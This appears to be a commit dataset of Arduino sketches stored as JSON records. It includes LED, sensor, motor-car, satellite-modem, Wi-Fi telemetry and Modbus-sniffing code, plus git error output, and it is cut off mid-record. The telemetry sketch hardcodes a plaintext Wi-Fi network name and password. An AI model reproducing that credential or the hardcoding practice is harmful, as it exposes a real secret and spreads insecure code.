show_longtide() {\n static unsigned long last = 0; \n static long interval = 6250; \n \n unsigned long now = millis();\n if (now - last > interval) {\n last = now; \n for (byte n = 0; n < NUM_PIXELS; n++) {\n strip.setPixelColor(n, 0, 255, 0);\n }\n strip.show();\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'neopixel\/neopixel.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a57e863efbb3b53fa95378638c1c32b8c4ffa7f9","subject":"Sketch for UltraSonic Range Finder","message":"Sketch for UltraSonic Range Finder\n","repos":"EC544-2015-Group2\/Challenge4,EC544-2015-Group2\/Challenge4","old_file":"UltraSonicRangeFinder\/UltraSonic\/UltraSonic.ino","new_file":"UltraSonicRangeFinder\/UltraSonic\/UltraSonic.ino","new_contents":"void setup() {\n \/\/ initialize serial communications\n Serial.begin(9600); \n}\n\nvoid loop() {\n int sensor, inches, x;\n \n \/\/ read the analog output of the EZ1 from analog input 0\n sensor = analogRead(3);\n \n \/\/ convert the sensor reading to inches\n inches = sensor \/ 2;\n \n \/\/ print out the decimal result\n Serial.print(inches,DEC);\n \n \/\/ print out a graphic representation of the result\n Serial.print(\" \");\n for (x=0;x<(inches\/5);x++)\n {\n Serial.print(\".\");\n }\n Serial.println(\"|\");\n\n \/\/ pause before taking the next reading\n delay(100); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'UltraSonicRangeFinder\/UltraSonic\/UltraSonic.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"06b93e60f50194be43d2f83b676ce15a224d3fde","subject":"Added header and sequence of operations.","message":"Added header and sequence of operations.\n","repos":"david-beaudette\/norbert-base,david-beaudette\/norbert-base","old_file":"controle_par_mannette\/controle_par_mannette.ino","new_file":"controle_par_mannette\/controle_par_mannette.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ norbert-base -> controle_par_manette\n\/\/\n\/\/ Permet de contr\u00f4ler la base Tonka de Norbert en utilisant\n\/\/ une mannette fabriqu\u00e9e en Lego\n\/\/\n\/\/ David Beaudette (2016)\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid setup() {\n \/\/ Initialisation des sorties vers les moteurs\n \n \/\/ Initialisation des entr\u00e9es de la mannette\n \n \/\/ Initialisation de l'entr\u00e9e analogique\n\n \/\/ Initialisation du PID de la direction\n \n}\n\nvoid loop() {\n \/\/ \n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'controle_par_mannette\/controle_par_mannette.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"eb8ea87861d03c7d23b442e2a9f6c69d1ee87206","subject":"koordinating the movement seems quite simple \u2026","message":"koordinating the movement seems quite simple \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Motion.ino","new_file":"ArduinoClient\/Motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"f63b4f592a7687ee695e423b2069add6e94a7587","subject":"SUBJ: Upload of initial working code MSG: First working code, sends 'Hello World' to Iridium constellation.. Need to start making this code pretty","message":"SUBJ: Upload of initial working code MSG: First working code, sends 'Hello World' to Iridium constellation.. Need to start making this code pretty\n\n'\n","repos":"PennAerospaceClub\/HAB-10,PennAerospaceClub\/HAB-10,PennAerospaceClub\/HAB-10","old_file":"RockBlock\/rockBlockMain.ino","new_file":"RockBlock\/rockBlockMain.ino","new_contents":"#include <IridiumSBD.h>\n#include <SoftwareSerial.h>\n\n\/\/SoftwareSerial nss(5, 1);\nSoftwareSerial nss(10, 11);\nIridiumSBD isbd(nss, 8);\n\nvoid setup()\n{\n\/\/ pinMode(8, OUTPUT);\n\/\/ digitalWrite(8, HIGH);\n int signalQuality = -1;\n\n Serial.begin(115200);\n nss.begin(19200);\n\n isbd.attachConsole(Serial);\n isbd.setPowerProfile(1);\n isbd.begin();\n\n int err = isbd.getSignalQuality(signalQuality);\n if (err != 0)\n {\n Serial.print(\"SignalQuality failed: error \");\n Serial.println(err);\n return;\n }\n\n Serial.print(\"Signal quality is \");\n Serial.println(signalQuality);\n\n err = isbd.sendSBDText(\"Hello, world!\");\n Serial.println(\"*\" + err);\n if (err != 0)\n {\n Serial.println(\"WTF1\");\n Serial.print(\"sendSBDText failed: error \");\n Serial.println(err);\n Serial.println(\"WTF2\");\n return;\n }\n Serial.println(\"WTF3\");\n\n Serial.println(\"Hey, it worked!\");\n Serial.print(\"Messages left: \");\n Serial.println(isbd.getWaitingMessageCount());\n}\n\nvoid loop()\n{\n\n}\n\nbool ISBDCallback()\n{\n return true;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RockBlock\/rockBlockMain.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3fde659e11cd1bfe528e93bfb7f9050094c26c82","subject":"Add Arduino Software for car","message":"Add Arduino Software for car\n","repos":"hobbyelektron\/ArduinoAutoVives","old_file":"Arduino_software_controller\/Arduino_software_controller.ino","new_file":"Arduino_software_controller\/Arduino_software_controller.ino","new_contents":"\n\/\/Include servo library\n#include <Servo.h> \n\n\/*\nbyte array:\n 0. Vooruit\n 1. Achteruit\n 2. Links\n 3. Rechts\n 4. Lichten\n 5. Servo\n*\/\nbyte Input[6]; \/\/aanmaken van byte array met 6 bytes\n\n\/\/declareren en initialiseren van motor uitgang variabelen\nint M1A = 3;\nint M1B = 5;\nint M2A = 6;\nint M2B = 10;\n\n\/\/aanmaken servo object \"myservo\"\nServo myservo;\n\n\/\/declareren positie van servo standaard is 0\u00b0\nint Spos = 0;\n\n\/\/declareren en initialiseren van lichten uitgang variabelen\nint Voorlicht = 13; \/\/Voorlicht op pin 13\nint Achterlicht = 12; \/\/Achterlicht op pin 12\n\n\n\/\/start van de Setup lus\nvoid setup() {\n \/\/starten van seriele verbinding met baud rate van 9600\n Serial.begin(9600);\n \n \/\/lichten als uitgang definieren\n pinMode(Voorlicht, OUTPUT); \/\/Voorlicht als uitgang\n pinMode(Achterlicht, OUTPUT); \/\/Achterlicht als uitgang\n \n \/\/standaard alle lichten uit\n digitalWrite(Voorlicht, LOW);\n digitalWrite(Achterlicht, LOW);\n \n \/\/\"myservo\" object toekenen aan pin 9\n myservo.attach(9);\n \n \/\/motors toekenen als uitgang\n pinMode(M1A, OUTPUT);\n pinMode(M1B, OUTPUT);\n pinMode(M2A, OUTPUT);\n pinMode(M2B, OUTPUT);\n \n \/\/standaard bij opstart motoren uit!\n digitalWrite(M1A, LOW);\n digitalWrite(M1B, LOW);\n digitalWrite(M2A, LOW);\n digitalWrite(M2B, LOW);\n analogWrite(M1A, 0);\n analogWrite(M1B, 0);\n analogWrite(M2A, 0);\n analogWrite(M2B, 0);\n}\n\/\/einde van de Setup lus\n\n\n\/\/starten van de Loop lus\nvoid loop() {\n \/\/ kijken of er seriele communicatie is?\n if(Serial.available()){\n \/\/Als er seriele communicatie is:\n \/\/lezen van de seriele input (6bytes 0->5)\n Serial.readBytes(Input, 6); \/\/6 staat voor 6bytes; Input staat voor de array variabele\n \n \/\/sturen van de motors\n \/\/de controlles diennen voor analogWrite niet werkt door Servo library\n \/\/sturen van motor M1A\n if (Input[0] == 255){\n analogWrite(M1A, 0); \/\/ M1A Analoog op 0\n digitalWrite(M1A, HIGH); \/\/ M1A HIGH\n }\n else{\n digitalWrite(M1A, LOW); \/\/ M1A LOW\n analogWrite(M1A, Input[0]); \/\/sturen M1A Analoog\n }\n \n \/\/sturen van motor M1B\n if (Input[1] == 255){\n analogWrite(M1B, 0); \/\/ M1B Analoog op 0\n digitalWrite(M1B, HIGH); \/\/ M1B HIGH\n }\n else{\n digitalWrite(M1B, LOW); \/\/ M1B LOW\n analogWrite(M1B, Input[1]); \/\/sturen M1B Analoog\n }\n \n \/\/sturen van motor M2A\n if (Input[2] == 255){\n analogWrite(M2A, 0); \/\/ M2A Analoog op 0\n digitalWrite(M2A, HIGH); \/\/ M2A HIGH\n }\n else{\n digitalWrite(M2A, LOW); \/\/ M2A LOW\n analogWrite(M2A, Input[2]); \/\/sturen M2A Analoog\n }\n \n \/\/sturen van motor M2B\n if (Input[3] == 255){\n analogWrite(M2B, 0); \/\/ M2B Analoog op 0\n digitalWrite(M2B, HIGH); \/\/ M2B HIGH\n }\n else{\n digitalWrite(M2B, LOW); \/\/ M2B LOW\n analogWrite(M2B, Input[3]); \/\/sturen M2B Analoog\n }\n \n \/\/sturen van de led's\n \/\/controlleren van Input[4]\n if (Input[4] == 0){\n \/\/alle lampen UIT!\n digitalWrite(Voorlicht, LOW);\n digitalWrite(Achterlicht, LOW);\n }\n else if (Input[4] == 1){\n \/\/Voorlicht AAN, Achterlicht UIT\n digitalWrite(Voorlicht, HIGH);\n digitalWrite(Achterlicht, LOW);\n }\n else if (Input[4] == 2){\n \/\/Voorlicht UIT, Achterlicht AAN\n digitalWrite(Voorlicht, LOW);\n digitalWrite(Achterlicht, HIGH);\n }\n else if (Input[4] == 3){\n \/\/alle lampen AAN!\n digitalWrite(Voorlicht, HIGH);\n digitalWrite(Achterlicht, HIGH);\n }\n \n \/\/einde controlle lampen\n \n \/\/controlleren van servo ingang\n if (Input[5] > 180){\n \/\/indien hoek groter is dan 180\u00b0 wordt de servo op 180\u00b0geplaatst\n Spos = 180;\n }\n else{\n \/\/indien de hoek niet groter is dan 180\u00b0 wordt de ingang[5] gebruikt als hoek\n Spos = Input[5];\n }\n \/\/einde controlleren van de servo uitgang\n \n \/\/sturen van de servo\n myservo.write(Spos); \/\/voor waarde Spos zie controlle hierboven\n }\n \/\/ einde kijken of er seriele communicatie is?\n}\n\/\/einde van de Loop lus\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino_software_controller\/Arduino_software_controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bfe082112d1b5fea3d266fb811478a36a33ef3f9","subject":"Adafruit Feather M0 WiFi - ATSAMD21 + ATWINC1500","message":"Adafruit Feather M0 WiFi - ATSAMD21 + ATWINC1500\n\nArduino source code for Adafruit Feather. Code utilizes an interrupt return to ensure samples are taken at approximately 1 kHz.","repos":"JakubGreen\/Neapco-Wireless-Telemetry,JakubGreen\/Neapco-Wireless-Telemetry","old_file":"interrupt_read.ino","new_file":"interrupt_read.ino","new_contents":"\n#include <SPI.h>\n#include <avr\/dtostrf.h>\n#include <Adafruit_WINC1500.h>\n#include <Adafruit_WINC1500Udp.h>\n\n\n\nconst int analogPort = A0;\nint data = 0;\nString constructString = \"\";\nchar outstr[1024];\n\n\/\/ Define the WINC1500 board connections below.\n\/\/ If you're following the Adafruit WINC1500 board\n\/\/ guide you don't need to modify these:\n#define WINC_CS 8\n#define WINC_IRQ 7\n#define WINC_RST 4\n#define WINC_EN 2 \/\/ or, tie EN to VCC and comment this out\n\/\/ The SPI pins of the WINC1500 (SCK, MOSI, MISO) should be\n\/\/ connected to the hardware SPI port of the Arduino.\n\/\/ On an Uno or compatible these are SCK = #13, MISO = #12, MOSI = #11.\n\/\/ On an Arduino Zero use the 6-pin ICSP header, see:\n\/\/ https:\/\/www.arduino.cc\/en\/Reference\/SPI\n\n\/\/ Setup the WINC1500 connection with the pins above and the default hardware SPI.\nAdafruit_WINC1500 WiFi(WINC_CS, WINC_IRQ, WINC_RST);\n\n\/\/ Or just use hardware SPI (SCK\/MOSI\/MISO) and defaults, SS -> #10, INT -> #7, RST -> #5, EN -> 3-5V\n\/\/Adafruit_WINC1500 WiFi;\n\nint status = WL_IDLE_STATUS;\nchar ssid[] = \"Pretty Fly Wifi\"; \/\/ your network SSID (name)\nchar pass[] = \"Jeffers2016\"; \/\/ your network password\nint keyIndex = 0; \/\/ your network key Index number (needed only for WEP)\nint i=0;\nint ready=0;\nint size=10;\n\nIPAddress ip(192, 168, 1, 123);\nunsigned int localPort = 8890; \/\/ local port to listen on\n\nAdafruit_WINC1500UDP Udp;\n\nvoid setup() {\n analogReadResolution(12);\n pinMode(analogPort, INPUT);\n \n#ifdef WINC_EN\n pinMode(WINC_EN, OUTPUT);\n digitalWrite(WINC_EN, HIGH);\n#endif\n\n \/\/Initialize serial and wait for port to open:\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for native USB port only\n }\n\n \/\/ check for the presence of the shield:\n if (WiFi.status() == WL_NO_SHIELD) {\n Serial.println(\"WiFi shield not present\");\n \/\/ don't continue:\n while (true);\n }\n\n \/\/ attempt to connect to Wifi network:\n while ( status != WL_CONNECTED) {\n Serial.print(\"Attempting to connect to SSID: \");\n Serial.println(ssid);\n \/\/ Connect to WPA\/WPA2 network. Change this line if using open or WEP network:\n status = WiFi.begin(ssid, pass);\n\n \/\/ wait 10 seconds for connection:\n delay(10000);\n }\n Serial.println(\"Connected to wifi\");\n \/\/ printWifiStatus();\n\n Serial.println(\"\\nStarting connection to server...\");\n \/\/ if you get a connection, report back via serial:\n Udp.begin(localPort);\n SPISettings(28000000, MSBFIRST, SPI_MODE0);\n \/\/Udp.beginPacket(ip, localPort);\n\n \/\/ Set up the generic clock (GCLK4) used to clock timers\n REG_GCLK_GENDIV = GCLK_GENDIV_DIV(3) | \/\/ Divide the 48MHz clock source by divisor 3: 48MHz\/3=16MHz\n GCLK_GENDIV_ID(4); \/\/ Select Generic Clock (GCLK) 4\n while (GCLK->STATUS.bit.SYNCBUSY); \/\/ Wait for synchronization\n\n REG_GCLK_GENCTRL = GCLK_GENCTRL_IDC | \/\/ Set the duty cycle to 50\/50 HIGH\/LOW\n GCLK_GENCTRL_GENEN | \/\/ Enable GCLK4\n GCLK_GENCTRL_SRC_DFLL48M | \/\/ Set the 48MHz clock source\n GCLK_GENCTRL_ID(4); \/\/ Select GCLK4\n while (GCLK->STATUS.bit.SYNCBUSY); \/\/ Wait for synchronization\n\n \/\/ Feed GCLK4 to TC4 and TC5\n REG_GCLK_CLKCTRL = GCLK_CLKCTRL_CLKEN | \/\/ Enable GCLK4 to TC4 and TC5\n GCLK_CLKCTRL_GEN_GCLK4 | \/\/ Select GCLK4\n GCLK_CLKCTRL_ID_TC4_TC5; \/\/ Feed the GCLK4 to TC4 and TC5\n while (GCLK->STATUS.bit.SYNCBUSY); \/\/ Wait for synchronization\n \n REG_TC4_CTRLA |= TC_CTRLA_MODE_COUNT8; \/\/ Set the counter to 8-bit mode\n while (TC4->COUNT8.STATUS.bit.SYNCBUSY); \/\/ Wait for synchronization \n\n REG_TC4_COUNT8_CC0 = 0x55; \/\/ Set the TC4 CC0 register to some arbitary value\n while (TC4->COUNT8.STATUS.bit.SYNCBUSY); \/\/ Wait for synchronization\n REG_TC4_COUNT8_CC1 = 0xAA; \/\/ Set the TC4 CC1 register to some arbitary value\n while (TC4->COUNT8.STATUS.bit.SYNCBUSY); \/\/ Wait for synchronization\n REG_TC4_COUNT8_PER = 0xFF; \/\/ Set the PER (period) register to its maximum value\n while (TC4->COUNT8.STATUS.bit.SYNCBUSY); \/\/ Wait for synchronization\n\n \/\/NVIC_DisableIRQ(TC4_IRQn);\n \/\/NVIC_ClearPendingIRQ(TC4_IRQn);\n NVIC_SetPriority(TC4_IRQn, 0); \/\/ Set the Nested Vector Interrupt Controller (NVIC) priority for TC4 to 0 (highest) \n NVIC_EnableIRQ(TC4_IRQn); \/\/ Connect TC4 to Nested Vector Interrupt Controller (NVIC) \n\n REG_TC4_INTFLAG |= TC_INTFLAG_MC1 | TC_INTFLAG_MC0 | TC_INTFLAG_OVF; \/\/ Clear the interrupt flags\n REG_TC4_INTENSET = TC_INTENSET_MC1 | TC_INTENSET_MC0 | TC_INTENSET_OVF; \/\/ Enable TC4 interrupts\n \/\/ REG_TC4_INTENCLR = TC_INTENCLR_MC1 | TC_INTENCLR_MC0 | TC_INTENCLR_OVF; \/\/ Disable TC4 interrupts\n \n REG_TC4_CTRLA |= TC_CTRLA_PRESCALER_DIV64 | \/\/ Set prescaler to 64, 16MHz\/64 = 256kHz\n TC_CTRLA_ENABLE; \/\/ Enable TC4\n while (TC4->COUNT8.STATUS.bit.SYNCBUSY); \/\/ Wait for synchronization\n}\n\nvoid loop() {\n if(ready == 1){\n Udp.beginPacket(ip, localPort);\n Udp.write(outstr);\n Udp.endPacket();\n \/\/Serial.print(outstr);\n ready = 0;\n }\n}\n\nvoid TC4_Handler() \/\/ Interrupt Service Routine (ISR) for timer TC4\n{ \n \/\/ Check for overflow (OVF) interrupt \n if (TC4->COUNT8.INTFLAG.bit.OVF && TC4->COUNT8.INTENSET.bit.OVF) \n {\n \/\/ Put your timer overflow (OVF) code here: \n \/\/ ...\n i=i+1; \n constructString += String(analogRead(analogPort)) + \",\" + String(micros()) + \"\\n\";\n \/\/constructString += String(micros()) + \"\\n\";\n if ( i == size )\n {\n int str_len = constructString.length();\n constructString.toCharArray(outstr, str_len);\n constructString = \"\";\n ready = 1;\n i=0;\n }\n REG_TC4_INTFLAG = TC_INTFLAG_OVF; \/\/ Clear the OVF interrupt flag \n }\n\n \/\/ Check for match counter 0 (MC0) interrupt\n if (TC4->COUNT8.INTFLAG.bit.MC0 && TC4->COUNT8.INTENSET.bit.MC0) \n {\n \/\/ Put your counter compare 0 (CC0) code here:\n \/\/ ...\n \/\/Serial.println(millis());\n REG_TC4_INTFLAG = TC_INTFLAG_MC0; \/\/ Clear the MC0 interrupt flag \n }\n\n \/\/ Check for match counter 1 (MC1) interrupt\n if (TC4->COUNT8.INTFLAG.bit.MC1 && TC4->COUNT8.INTENSET.bit.MC1) \n {\n \/\/ Put your counter compare 1 (CC1) code here:\n \/\/ ...\n \n REG_TC4_INTFLAG = TC_INTFLAG_MC1; \/\/ Clear the MC1 interrupt flag \n }\n}\nvoid printWifiStatus() {\n \/\/ print the SSID of the network you're attached to:\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/ print your WiFi shield's IP address:\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n\n \/\/ print the received signal strength:\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.print(rssi);\n Serial.println(\" dBm\");\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'interrupt_read.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1d4ce13a549cfa60c611e13481d7b4965b3e2cfb","subject":"add modbus spy","message":"add modbus spy\n","repos":"sourceperl\/arduino.serial-spy,sourceperl\/arduino.serial-spy","old_file":"mkr485_spy_modbus.ino","new_file":"mkr485_spy_modbus.ino","new_contents":"\/*\n RS485 Modbus serial spy tool\n\n This sketch receives data over RS485 interface and outputs the data to the USB CDC Serial interface\n\n Hardware:\n - Arduino MKR Zero\n - Arduino MKR 485 shield (with 3 dip switch to off) \n -> RS signal to spy connect to Y and Z\n*\/\n\n#include <stdarg.h>\n#include <ArduinoRS485.h>\n\/\/ from https:\/\/github.com\/arkhipenko\/TaskScheduler\n#include <TaskScheduler.h>\n\n\/\/ some const\n\/\/ serial commands\n#define CMD_TIMEOUT 10E3\n#define MAX_CMD_SIZE 64\n\n\/\/ some global vars\n\/\/ mode\nbool dump_mode = false;\n\/\/ rs rate info\nuint32_t rs_baudrate = 9600;\nuint16_t rs_eof_us = 3500;\n\/\/ stats\nuint32_t rs_stat_frame_count = 0;\nuint32_t rs_stat_err_crc = 0;\nuint32_t rs_stat_err_exp = 0;\nuint32_t rs_stat_err_short = 0;\n\/\/ task scheduler\nScheduler runner;\n\n\/\/ some prototypes\nvoid task_led_alive();\nvoid task_serial_command();\nvoid task_spy_rs();\n\n\/\/ some tasks\nTask t_cmd(1, TASK_FOREVER, &task_serial_command, &runner, true);\nTask t_alive(100 * TASK_MILLISECOND, TASK_FOREVER, &task_led_alive, &runner, true);\nTask t_spy(0, TASK_FOREVER, &task_spy_rs, &runner, true);\n\n\/\/ tasks functions\nvoid task_led_alive() {\n digitalWrite(LED_BUILTIN, ! digitalRead(LED_BUILTIN));\n}\n\nvoid task_serial_command() {\n \/\/ local static vars\n static String cmd_rx_buf = \"\";\n static bool cmd_echo_mode = false;\n static uint32_t cmd_t_last_char = 0;\n \/\/ check command\n while (Serial.available() > 0) {\n \/\/ receive loop\n while (true) {\n int inByte = Serial.read();\n \/\/ no more data\n if (inByte == -1)\n break;\n \/\/ if echo on\n if (cmd_echo_mode)\n Serial.print((char) inByte);\n \/\/ reset command buffer if the last rx is too old\n if (millis() - cmd_t_last_char > CMD_TIMEOUT)\n cmd_rx_buf = \"\";\n cmd_t_last_char = millis();\n \/\/ add data to s_cmd\n cmd_rx_buf += (char) inByte;\n \/\/ limit size to MAX_CMD_SIZE\n if (cmd_rx_buf.length() > MAX_CMD_SIZE)\n cmd_rx_buf.remove(0, cmd_rx_buf.length() - MAX_CMD_SIZE);\n \/\/ pause receive loop if \\n occur\n if (inByte == '\\n')\n break;\n }\n \/\/ skip command not ended with \"\\r\\n\"\n if (! cmd_rx_buf.endsWith(\"\\r\\n\"))\n break;\n \/\/ remove leading and trailing \\r\\n, force case\n cmd_rx_buf.trim();\n cmd_rx_buf.toLowerCase();\n \/\/ check for command argument (cmd [space char] [arg])\n int index_space = cmd_rx_buf.indexOf(\" \");\n String s_arg = \"\";\n String s_cmd = cmd_rx_buf;\n if (index_space != -1) {\n s_cmd = cmd_rx_buf.substring(0, index_space);\n s_arg = cmd_rx_buf.substring(index_space + 1);\n s_arg.trim();\n s_arg.toLowerCase();\n }\n \/\/ check command\n if (s_cmd.equals(\"help\")) {\n Serial.println(\"Control local echo:\");\n Serial.println(\"echo on turn on local echo\");\n Serial.println(\"echo off turn off local echo\");\n Serial.println(\"echo display current status\");\n Serial.println(\"\");\n Serial.println(\"Control dump mode (= display modbus frame as hexadecimal values):\");\n Serial.println(\"dump on turn on dump mode\");\n Serial.println(\"dump off turn off dump mode\");\n Serial.println(\"dump display current status\");\n Serial.println(\"\");\n Serial.println(\"Set serial baudrate: !!! change baudrate update EOF value with default 3.5 x byte time !!!\");\n Serial.println(\"baudrate 9600 set RS485 baudrate to 9600\");\n Serial.println(\"rate 9600 idem as baudrate 9600\");\n Serial.println(\"baudrate display current baudrate and EOF (= end of frame) value in us\");\n Serial.println(\"\");\n Serial.println(\"Set modbus EOF (end of frame time) value:\");\n Serial.println(\"eof 3500 set EOF to 3500 us (= 3.5 ms)\");\n Serial.println(\"eof display current EOF (= end of frame) value in us\");\n Serial.println(\"\");\n }\n else if (s_cmd.equals(\"echo\")) {\n if (s_arg.equals(\"on\")) {\n Serial.println(\"echo mode is on\");\n cmd_echo_mode = true;\n }\n else if (s_arg.equals(\"off\")) {\n Serial.println(\"echo mode is off\");\n cmd_echo_mode = false;\n }\n else {\n Serial.print(\"echo mode is \");\n Serial.println(cmd_echo_mode ? String(\"on\") : String(\"off\"));\n }\n }\n else if (s_cmd.equals(\"dump\")) {\n if (s_arg.equals(\"on\")) {\n Serial.println(\"dump mode is on\");\n dump_mode = true;\n }\n else if (s_arg.equals(\"off\")) {\n Serial.println(\"dump mode is off\");\n dump_mode = false;\n }\n else {\n Serial.print(\"dump mode is \");\n Serial.println(dump_mode ? String(\"on\") : String(\"off\"));\n }\n }\n else if (s_cmd.equals(\"clear\")) {\n \/\/ clear counters\n rs_stat_frame_count = 0;\n rs_stat_err_crc = 0;\n rs_stat_err_exp = 0;\n rs_stat_err_short = 0;\n \/\/ console stats\n serial_printf(\"stats: frame count %06d | error CRC %06d | exception %06d | too short %06d\\r\\n\", rs_stat_frame_count, rs_stat_err_crc, rs_stat_err_exp, rs_stat_err_short);\n }\n else if (s_cmd.equals(\"stat\")) {\n \/\/ console stats\n serial_printf(\"stats: frame count %06d | error CRC %06d | exception %06d | too short %06d\\r\\n\", rs_stat_frame_count, rs_stat_err_crc, rs_stat_err_exp, rs_stat_err_short);\n }\n else if (s_cmd.equals(\"baudrate\") or s_cmd.equals(\"rate\")) {\n uint32_t set_baudrate = s_arg.toInt();\n if (set_baudrate > 0) {\n rs_baudrate = set_baudrate;\n rs_eof_us = max(round((10.0 \/ rs_baudrate) * 3.5 * 1e6), 1);\n rs485_setup();\n }\n Serial.println(\"RS485: baudrate set to \" + String(rs_baudrate) + \" bauds, end of frame set to \" + String(rs_eof_us) + \" us\");\n }\n else if (s_cmd.equals(\"eof\")) {\n uint32_t set_eof = s_arg.toInt();\n if (set_eof > 0) {\n rs_eof_us = max(set_eof, 1);\n rs485_setup();\n }\n Serial.println(\"RS485: end of frame set to \" + String(rs_eof_us) + \" us\");\n }\n \/\/ reset for next one\n cmd_rx_buf = \"\";\n }\n}\n\nvoid task_spy_rs() {\n \/\/ local static vars\n static uint32_t t_last_byte = 0;\n static uint16_t frame_pos = 0;\n static uint8_t frame_buff[256];\n \/\/ detect EOF (end of frame => silent of 3.5 x byte transmit time)\n if (micros() - t_last_byte > rs_eof_us) {\n \/\/ parse frame buffer\n if (frame_pos > 0) {\n \/\/ frame counter\n rs_stat_frame_count++;\n \/\/ check errors\n bool err_short = false;\n bool err_crc = false;\n bool err_except = false;\n \/\/ check frame size\n if (frame_pos >= 5) {\n \/\/ check crc\n uint16_t c_crc16 = crc16(frame_buff, frame_pos - 2);\n if (!((frame_buff[frame_pos - 2] == (c_crc16 & 0xff)) and (frame_buff[frame_pos - 1] == (c_crc16 >> 8))))\n err_crc = true;\n \/\/ modbus except\n else if (frame_buff[1] > 0x80)\n err_except = true;\n } else {\n err_short = true;\n }\n \/\/ update stats\n if (err_crc)\n rs_stat_err_crc++;\n if (err_except)\n rs_stat_err_exp++;\n if (err_short)\n rs_stat_err_short++;\n if (dump_mode) {\n \/\/ update frame_status msg\n String frame_status = \"\";\n if (err_short)\n frame_status = \"too short\";\n else if (err_crc)\n frame_status = \"bad CRC\";\n else if (err_except)\n frame_status = \"exception\";\n \/\/ print header with frame size and CRC status\n serial_printf(\"MSG #%06d S%03d:\", rs_stat_frame_count, frame_pos);\n \/\/ dump frame as hex value\n for (uint16_t i = 0; i < frame_pos; i++) {\n serial_printf(\" %02x\", frame_buff[i]);\n }\n \/\/ error message\n if (frame_status.length() > 0)\n serial_printf(\" [%s]\", frame_status.c_str());\n Serial.println();\n }\n }\n frame_pos = 0;\n }\n \/\/ receive loop\n while (RS485.available() > 0) {\n \/\/ store byte in buffer\n frame_buff[frame_pos++] = RS485.read();\n \/\/ avoid buffer overflow\n if (frame_pos >= sizeof(frame_buff))\n frame_pos = 0;\n t_last_byte = micros();\n }\n}\n\n\/\/ some functions\nuint16_t crc16(uint8_t *buf, uint8_t len)\n{\n uint16_t crc = 0xFFFF;\n for (int pos = 0; pos < len; pos++)\n {\n crc ^= (uint16_t)buf[pos];\n for (int i = 8; i != 0; i--)\n {\n if ((crc & 0x0001) != 0)\n {\n crc >>= 1;\n crc ^= 0xA001;\n }\n else\n crc >>= 1;\n }\n }\n return crc;\n}\n\nvoid rs485_setup() {\n RS485.begin(rs_baudrate);\n RS485.receive();\n}\n\nvoid serial_printf(char *fmt, ... ) {\n char buf[256];\n va_list args;\n va_start (args, fmt);\n vsnprintf(buf, sizeof(buf), fmt, args);\n va_end (args);\n Serial.print(buf);\n}\n\nvoid setup() {\n \/\/ IO setup\n pinMode(LED_BUILTIN, OUTPUT);\n \/\/ init serial monitor (USB CDC)\n Serial.begin(9600);\n \/\/ wait monitor is connect\n \/\/while (!Serial);\n \/\/ int RS485 serial\n rs485_setup();\n}\n\nvoid loop() {\n \/\/ scheduler handler\n runner.execute();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mkr485_spy_modbus.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cb8adc71385cc23ab9e2080ce21053dafbd7831c","subject":"Changed packet buffer size and breakup buffer based on LCD length","message":"Changed packet buffer size and breakup buffer based on LCD length\n","repos":"tyler-cromwell\/Acid","old_file":"ACID.ino","new_file":"ACID.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tyler-cromwell\/Acid.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e441e1739a5dde4fb8674dd524d6821d0e5c21b3","subject":"Upload ESTACAO_002.ino","message":"Upload ESTACAO_002.ino","repos":"Capibalabs\/capibalabs-monitoramento,Capibalabs\/capibalabs-monitoramento","old_file":"sensores-nodemcu\/ESTACAO_002.ino","new_file":"sensores-nodemcu\/ESTACAO_002.ino","new_contents":"\/*\n CapibaLabs\n ================================================================================================\n Autor : Michel Nascimento\n E-mail : mhsn@a.recife.ifpe.edu.br\n Data : 14\/05\/2017\n Titulo : Comunicacao NodeMCU-Servidor UV-CO-Luminosidade\n ================================================================================================\n Autor : Arthur Castro\n E-mail : alc@a.recife.ifpe.edu.br\n Data : 13\/09\/2017\n 